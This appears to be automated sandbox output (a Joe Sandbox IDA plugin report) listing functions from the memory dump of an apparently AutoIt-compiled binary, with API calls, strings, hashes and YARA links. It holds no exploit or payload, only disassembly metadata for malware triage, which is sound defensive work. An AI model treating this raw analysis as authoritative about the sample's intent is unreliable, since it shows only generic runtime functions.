String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 9721498-966354055
Opcode ID: da557de0655b7166037ceb85b7c082a90f7949c9c483b363f3f355186cafad8d
Instruction ID: d19c3d68e5046ad5af4452db1188b4be7f871359e62b27b8531d50cdd2cce932
Opcode Fuzzy Hash: da557de0655b7166037ceb85b7c082a90f7949c9c483b363f3f355186cafad8d
Instruction Fuzzy Hash: 421258756042019FDB14DF14D981F2AB7E5EF88714F14985DF88AAB2A2DB35FC42CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00ED091E Relevance: 30.1, APIs: 6, Strings: 11, Instructions: 372windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00ED09C6
_wcslen.LIBCMT ref: 00ED0A01
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00ED0A54
_wcslen.LIBCMT ref: 00ED0A8A
_wcslen.LIBCMT ref: 00ED0B06
_wcslen.LIBCMT ref: 00ED0B81

Part of subcall function 00E5F9F2: _wcslen.LIBCMT ref: 00E5F9FD

Part of subcall function 00EA2BE8: SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00EA2BFA

Strings

UNCHECK, xrefs: 00ED0D3E
EXPAND, xrefs: 00ED0BF8
SELECT, xrefs: 00ED0D11
ISCHECKED, xrefs: 00ED0CE1
CHECK, xrefs: 00ED0A85, 00ED0AA0
EXISTS, xrefs: 00ED0B7C, 00ED0B97
GETSELECTED, xrefs: 00ED0C4E
GETITEMCOUNT, xrefs: 00ED0C1E
GETTOTALCOUNT, xrefs: 00ED09F2, 00ED0A17
COLLAPSE, xrefs: 00ED0B01, 00ED0B1C
GETTEXT, xrefs: 00ED0C97

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 1103490817-4258414348
Opcode ID: 322b61fa44fd1eb41f2c29b5514e0b887b756f3fdc3d3aa6bc557a8a5a56c23d
Instruction ID: 59977e36a3b3fb5cc884f906914e8222ba72c78ddf761ae62fc1f5816673bdd2
Opcode Fuzzy Hash: 322b61fa44fd1eb41f2c29b5514e0b887b756f3fdc3d3aa6bc557a8a5a56c23d
Instruction Fuzzy Hash: DDE15C316087019FC714DF24C450A6AB7E2FF98318F18595EF8966B3A2D731ED46DB81

Uniqueness

Uniqueness Score: -1.00%

Function 00ECC998 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 242COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00ECC9B5
_wcslen.LIBCMT ref: 00ECC9F1
_wcslen.LIBCMT ref: 00ECCA68
_wcslen.LIBCMT ref: 00ECCA9E
_wcslen.LIBCMT ref: 00ECCAF9
_wcslen.LIBCMT ref: 00ECCB2F
_wcslen.LIBCMT ref: 00ECCB7F

Strings

HKEY_LOCAL_MACHINE, xrefs: 00ECCA62, 00ECCA67
HKLM, xrefs: 00ECCA98, 00ECCA9D
HKEY_CLASSES_ROOT, xrefs: 00ECCAF3, 00ECCAF8
HKCC, xrefs: 00ECCBAC
HKEY_CURRENT_CONFIG, xrefs: 00ECCB79, 00ECCB7E
HKEY_USERS, xrefs: 00ECCBDF
HKCU, xrefs: 00ECCBCE
HKEY_CURRENT_USER, xrefs: 00ECCBBD
HKU, xrefs: 00ECCBF0
HKCR, xrefs: 00ECCB29, 00ECCB2E

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 1256254125-909552448
Opcode ID: 3a31276eab0cf72c76dda2a4f92c78e69c1d00d5436ed6bf87cbc5fea8913ee1
Instruction ID: 1f6345e48e902dd0a2c0449419dd776b1305353a85f2916a2679c3acba92258d
Opcode Fuzzy Hash: 3a31276eab0cf72c76dda2a4f92c78e69c1d00d5436ed6bf87cbc5fea8913ee1
Instruction Fuzzy Hash: 3571EA32A0052A8BCB10DE7CDA41FBB73919BA4758B35252CFC5EB7285E632DD46D350

Uniqueness

Uniqueness Score: -1.00%

Function 00ED833C Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 196windowlibraryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00ED835A
_wcslen.LIBCMT ref: 00ED836E
_wcslen.LIBCMT ref: 00ED8391
_wcslen.LIBCMT ref: 00ED83B4
LoadImageW.USER32 ref: 00ED83F2
LoadLibraryExW.KERNEL32 ref: 00ED844E
LoadImageW.USER32 ref: 00ED8487
LoadImageW.USER32 ref: 00ED84CA
LoadImageW.USER32 ref: 00ED8501
FreeLibrary.KERNEL32 ref: 00ED850D
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00ED851D
DestroyIcon.USER32(?,?,?,?,?,00ED5BF2), ref: 00ED852C
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00ED8549
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00ED8555

Strings

.icl, xrefs: 00ED8368
.exe, xrefs: 00ED8388
.dll, xrefs: 00ED83AB

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Load$Image_wcslen$IconLibraryMessageSend$DestroyExtractFree
String ID: .dll$.exe$.icl
API String ID: 799131459-1154884017
Opcode ID: 4db1fb0400f97f3093d8ea484c7ccd6c2d8cfbb42ba5bee7f5ee0f8e2bd59adc
Instruction ID: 556a943fe3b21afc1117bc1a1e963ad7e1c92e7f77b652010cc43b7539b83df5
Opcode Fuzzy Hash: 4db1fb0400f97f3093d8ea484c7ccd6c2d8cfbb42ba5bee7f5ee0f8e2bd59adc
Instruction Fuzzy Hash: 29610171940216BEEB14DF64ED41BBF77A8FB04B51F10560AF815F62D0DB74A981C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00E47778 Relevance: 28.3, APIs: 1, Strings: 15, Instructions: 273COMMON

Download Yara Rule

Strings

#comments-start, xrefs: 00E4785F, 00E478B1
#OnAutoItStartRegister, xrefs: 00E47817
#comments-end, xrefs: 00E478D9
Unterminated group of comments, xrefs: 00E8528C
#requireadmin, xrefs: 00E477FF
', xrefs: 00E85169
#include-once, xrefs: 00E4782F
Bad directive syntax error, xrefs: 00E8519A
#notrayicon, xrefs: 00E477E7
Cannot parse #include, xrefs: 00E85279
#ce, xrefs: 00E478ED
", xrefs: 00E85153
#include, xrefs: 00E47847
#cs, xrefs: 00E47873, 00E478C5
#pragma compile, xrefs: 00E477D3

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID:
String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 0-1645009161
Opcode ID: ec200f0b855b989b9dd320f260695699e997ddf638e47dc8b4ceeb441ebd9a81
Instruction ID: 35380326381e831f8450b4f25175fd647433452b2d318bee3166df6c9ebf3f1e
Opcode Fuzzy Hash: ec200f0b855b989b9dd320f260695699e997ddf638e47dc8b4ceeb441ebd9a81
Instruction Fuzzy Hash: CD811471A40605BBDB20AF60EC46FAE77A8EF14340F006426F949BA292EF71D911C7D1

Uniqueness

Uniqueness Score: -1.00%

Function 00E600C6 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 81COMMON

Download Yara Rule

APIs

__scrt_initialize_thread_safe_statics_platform_specific.LIBCMT ref: 00E600C6

Part of subcall function 00E600ED: InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00E6011C
Part of subcall function 00E600ED: GetModuleHandleW.KERNEL32 ref: 00E60127
Part of subcall function 00E600ED: GetModuleHandleW.KERNEL32 ref: 00E60138
Part of subcall function 00E600ED: GetProcAddress.KERNEL32 ref: 00E6014E
Part of subcall function 00E600ED: GetProcAddress.KERNEL32 ref: 00E6015C
Part of subcall function 00E600ED: GetProcAddress.KERNEL32 ref: 00E6016A
Part of subcall function 00E600ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00E60195
Part of subcall function 00E600ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00E601A0

___scrt_fastfail.LIBCMT ref: 00E600E7

Part of subcall function 00E600A3: __onexit.LIBCMT ref: 00E600A9

Strings

SleepConditionVariableCS, xrefs: 00E60154
WakeAllConditionVariable, xrefs: 00E60162
InitializeConditionVariable, xrefs: 00E60148
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00E60122
kernel32.dll, xrefs: 00E60133

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: AddressProc$HandleModule__crt_fast_encode_pointer$CountCriticalInitializeSectionSpin___scrt_fastfail__onexit__scrt_initialize_thread_safe_statics_platform_specific
String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 66158676-1714406822
Opcode ID: a7645e602b5c32d63f77dcf0cb2204b227bd1783a8071797e39ed93401b418ba
Instruction ID: 3e7d46bf459501383869cd68b77511736f2309d770a671cf2e9054a1c1f2cc77
Opcode Fuzzy Hash: a7645e602b5c32d63f77dcf0cb2204b227bd1783a8071797e39ed93401b418ba
Instruction Fuzzy Hash: 2121F9326867266FD7105BA5BC06B6B33E5DB06BE1F10552BF902F32D1DFA09804CA91

Uniqueness

Uniqueness Score: -1.00%

Function 00EA30F7 Relevance: 24.9, APIs: 8, Strings: 6, Instructions: 400COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00EA318D
_wcslen.LIBCMT ref: 00EA31F8

Strings

INSTANCE, xrefs: 00EA3453
REGEXPCLASS, xrefs: 00EA3255, 00EA3266
CLASS, xrefs: 00EA3188, 00EA31A5
NAME, xrefs: 00EA3335, 00EA3346
TEXT, xrefs: 00EA347C
CLASSNN, xrefs: 00EA31F3, 00EA3204

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: _wcslen
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 176396367-1603158881
Opcode ID: 349e6b88fbb4a2462886f3a671c6634c9a5a465f506f4ee1a77295b9269de164
Instruction ID: c0234be5378886f56790b59e41c73248ef3c9f871bc5a810344fa9b7e6e263bf
Opcode Fuzzy Hash: 349e6b88fbb4a2462886f3a671c6634c9a5a465f506f4ee1a77295b9269de164
Instruction Fuzzy Hash: 4FE1E431A005169BCB189FB8C4517EEFBB0BF5E754F14A119F466BB240DB30BE899B90

Uniqueness

Uniqueness Score: -1.00%

Function 00EB44C0 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 309COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(00000000,00000000), ref: 00EB4527
_wcslen.LIBCMT ref: 00EB453B
_wcslen.LIBCMT ref: 00EB4599
_wcslen.LIBCMT ref: 00EB45F4
_wcslen.LIBCMT ref: 00EB463F
_wcslen.LIBCMT ref: 00EB46A7

Part of subcall function 00E5F9F2: _wcslen.LIBCMT ref: 00E5F9FD

GetDriveTypeW.KERNEL32 ref: 00EB4743

Strings

removable, xrefs: 00EB45EA, 00EB45EF
unknown, xrefs: 00EB4708
fixed, xrefs: 00EB4635, 00EB463A
all, xrefs: 00EB4531, 00EB4536
network, xrefs: 00EB469D, 00EB46A2
cdrom, xrefs: 00EB458F, 00EB4594
ramdisk, xrefs: 00EB46F1

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: _wcslen$BuffCharDriveLowerType
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2055661098-1000479233
Opcode ID: 9279262e0fd6c007970a37ecfd89a055c6e3e4dff292c85e71ef11102b56c231
Instruction ID: 55f69feb1f740363d48bc1a0a36ea8ab85d7af3c303d7d6969fe606b4a92affb
Opcode Fuzzy Hash: 9279262e0fd6c007970a37ecfd89a055c6e3e4dff292c85e71ef11102b56c231
Instruction Fuzzy Hash: 9CB112B16083029FC710DF28D890AABB7E5AFA5764F50691DF496E72D2DB30D844CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00ECAFF9 Relevance: 24.4, APIs: 16, Instructions: 418processCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00ECB198
GetSystemDirectoryW.KERNEL32 ref: 00ECB1B0
GetSystemDirectoryW.KERNEL32 ref: 00ECB1D4
_wcslen.LIBCMT ref: 00ECB200
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00ECB214
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00ECB236
_wcslen.LIBCMT ref: 00ECB332

Part of subcall function 00EB05A7: GetStdHandle.KERNEL32(000000F6), ref: 00EB05C6

_wcslen.LIBCMT ref: 00ECB34B
_wcslen.LIBCMT ref: 00ECB366
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00ECB3B6
GetLastError.KERNEL32 ref: 00ECB407
CloseHandle.KERNEL32(?), ref: 00ECB439
CloseHandle.KERNEL32(00000000), ref: 00ECB44A
CloseHandle.KERNEL32(00000000), ref: 00ECB45C
CloseHandle.KERNEL32(00000000), ref: 00ECB46E
CloseHandle.KERNEL32(?), ref: 00ECB4E3

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Handle$Close_wcslen$Directory$CurrentSystem$CreateErrorLastProcess
String ID:
API String ID: 2178637699-0
Opcode ID: e2530435d32a94b53fd5183d6eb78a4765474723a1b5d5c18468cd34cf94f228
Instruction ID: dce77466a729df91e970f1096f030c4562abbc21dc1dc3e8d5a18bc0250a01b3
Opcode Fuzzy Hash: e2530435d32a94b53fd5183d6eb78a4765474723a1b5d5c18468cd34cf94f228
Instruction Fuzzy Hash: EEF18B315083409FC714EF24D982B6EBBE5AF85314F14995DF899AB2A2DB32EC05CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00E4326F Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 214windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(00F11990), ref: 00E82F8D
GetMenuItemCount.USER32(00F11990), ref: 00E8303D
GetCursorPos.USER32(?), ref: 00E83081
SetForegroundWindow.USER32(00000000), ref: 00E8308A
TrackPopupMenuEx.USER32 ref: 00E8309D
PostMessageW.USER32 ref: 00E830A9

Strings

0, xrefs: 00E4327D

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow
String ID: 0
API String ID: 36266755-4108050209
Opcode ID: 3d8b691033b92f6b4d75c8e2d52f338b482308f84230c55f52b4296482977eea
Instruction ID: 7a9a8a011d81d02838b951551ba85c51959b5acc6c36ef0ce773a54ed75871d3
Opcode Fuzzy Hash: 3d8b691033b92f6b4d75c8e2d52f338b482308f84230c55f52b4296482977eea
Instruction Fuzzy Hash: 4C712730640206BEEB219F75DC49FAABF68FF05768F205206F62C7A1E1C7B1A914DB54

Uniqueness

Uniqueness Score: -1.00%

Function 00ED6CD9 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 194windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00ED6DEB

Part of subcall function 00E46B57: _wcslen.LIBCMT ref: 00E46B6A

CreateWindowExW.USER32 ref: 00ED6E5F
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00ED6E81
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00ED6E94
DestroyWindow.USER32 ref: 00ED6EB5
CreateWindowExW.USER32 ref: 00ED6EE4
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00ED6EFD
GetDesktopWindow.USER32 ref: 00ED6F16
GetWindowRect.USER32(00000000), ref: 00ED6F1D
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00ED6F35
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00ED6F4D

Part of subcall function 00E59944: GetWindowLongW.USER32(?,000000EB), ref: 00E59952

Strings

0, xrefs: 00ED6D98
tooltips_class32, xrefs: 00ED6E58, 00ED6EDD

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_wcslen
String ID: 0$tooltips_class32
API String ID: 2429346358-3619404913
Opcode ID: cbef19aa3a87c2214e867928736868d2d434d86ec1de6e009b074adb13ef6e0c
Instruction ID: 1e43ce2644ea6f63cd23bad9fbe59453255449de5e3d6564f9c703f7b1bb78e3
Opcode Fuzzy Hash: cbef19aa3a87c2214e867928736868d2d434d86ec1de6e009b074adb13ef6e0c
Instruction Fuzzy Hash: 2E718B70204245AFDB21CF18DC44EAABBF9FB89708F54541EF999A7361C770E90ADB12

Uniqueness

Uniqueness Score: -1.00%

Function 00ED911E Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E59BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00E59BB2

DragQueryPoint.SHELL32(?,?), ref: 00ED9147

Part of subcall function 00ED7674: ClientToScreen.USER32(?,?), ref: 00ED769A
Part of subcall function 00ED7674: GetWindowRect.USER32(?,?), ref: 00ED7710
Part of subcall function 00ED7674: PtInRect.USER32(?,?,00ED8B89), ref: 00ED7720

SendMessageW.USER32(?,000000B0,?,?), ref: 00ED91B0
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00ED91BB
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00ED91DE
SendMessageW.USER32(?,000000C2,00000001,?), ref: 00ED9225
SendMessageW.USER32(?,000000B0,?,?), ref: 00ED923E
SendMessageW.USER32(?,000000B1,?,?), ref: 00ED9255
SendMessageW.USER32(?,000000B1,?,?), ref: 00ED9277
DragFinish.SHELL32(?), ref: 00ED927E
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00ED9371

Strings

@GUI_DRAGID, xrefs: 00ED92E9
@GUI_DROPID, xrefs: 00ED929E
@GUI_DRAGFILE, xrefs: 00ED9320

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 221274066-3440237614
Opcode ID: 5ee885da093f8bf8c6aad13e050561aaf9292866d6ecaf37e836697b27ad8586
Instruction ID: b2c69659bdd4815b81c42efd767a75b4526a7afe87e89616d96b9263d2be3a1f
Opcode Fuzzy Hash: 5ee885da093f8bf8c6aad13e050561aaf9292866d6ecaf37e836697b27ad8586
Instruction Fuzzy Hash: E2617C71108301AFD701DF55EC85DAFBBE8EF88750F50191EF5A5A32A1DB309A49CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00EBC476 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 143networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00EBC4B0
GetLastError.KERNEL32 ref: 00EBC4C3
SetEvent.KERNEL32 ref: 00EBC4D7
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00EBC4F0
InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 00EBC533
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00EBC549
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00EBC554
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00EBC584
GetLastError.KERNEL32 ref: 00EBC5DC
SetEvent.KERNEL32 ref: 00EBC5F0
InternetCloseHandle.WININET(00000000), ref: 00EBC5FB

Strings

, xrefs: 00EBC575

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Internet$Http$ErrorEventLastOptionQueryRequest$CloseConnectHandleInfoOpenSend
String ID:
API String ID: 3800310941-3916222277
Opcode ID: 5347f39de38aadec8f766a28d7e098bec8ceb16b7426ce7b4ab496769733773b
Instruction ID: ba4c642f51cca2e5588d567d9bb1f1a174c80fd78523b2413672bf95ae157614
Opcode Fuzzy Hash: 5347f39de38aadec8f766a28d7e098bec8ceb16b7426ce7b4ab496769733773b
Instruction Fuzzy Hash: F6516FB0505609BFDB218F61D988AEB7BFCFF08788F20541AF945E6110DB30E948DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00ED856F Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 00ED8592
GetFileSize.KERNEL32(00000000,00000000), ref: 00ED85A2
GlobalAlloc.KERNEL32 ref: 00ED85AD
CloseHandle.KERNEL32(00000000), ref: 00ED85BA
GlobalLock.KERNEL32 ref: 00ED85C8
ReadFile.KERNEL32 ref: 00ED85D7
GlobalUnlock.KERNEL32(00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 00ED85E0
CloseHandle.KERNEL32(00000000), ref: 00ED85E7
CreateStreamOnHGlobal.OLE32(00000000,00000001,000000F0), ref: 00ED85F8
OleLoadPicture.OLEAUT32 ref: 00ED8611
GlobalFree.KERNEL32 ref: 00ED8621
GetObjectW.GDI32 ref: 00ED8641
CopyImage.USER32 ref: 00ED8671
DeleteObject.GDI32(?), ref: 00ED8699
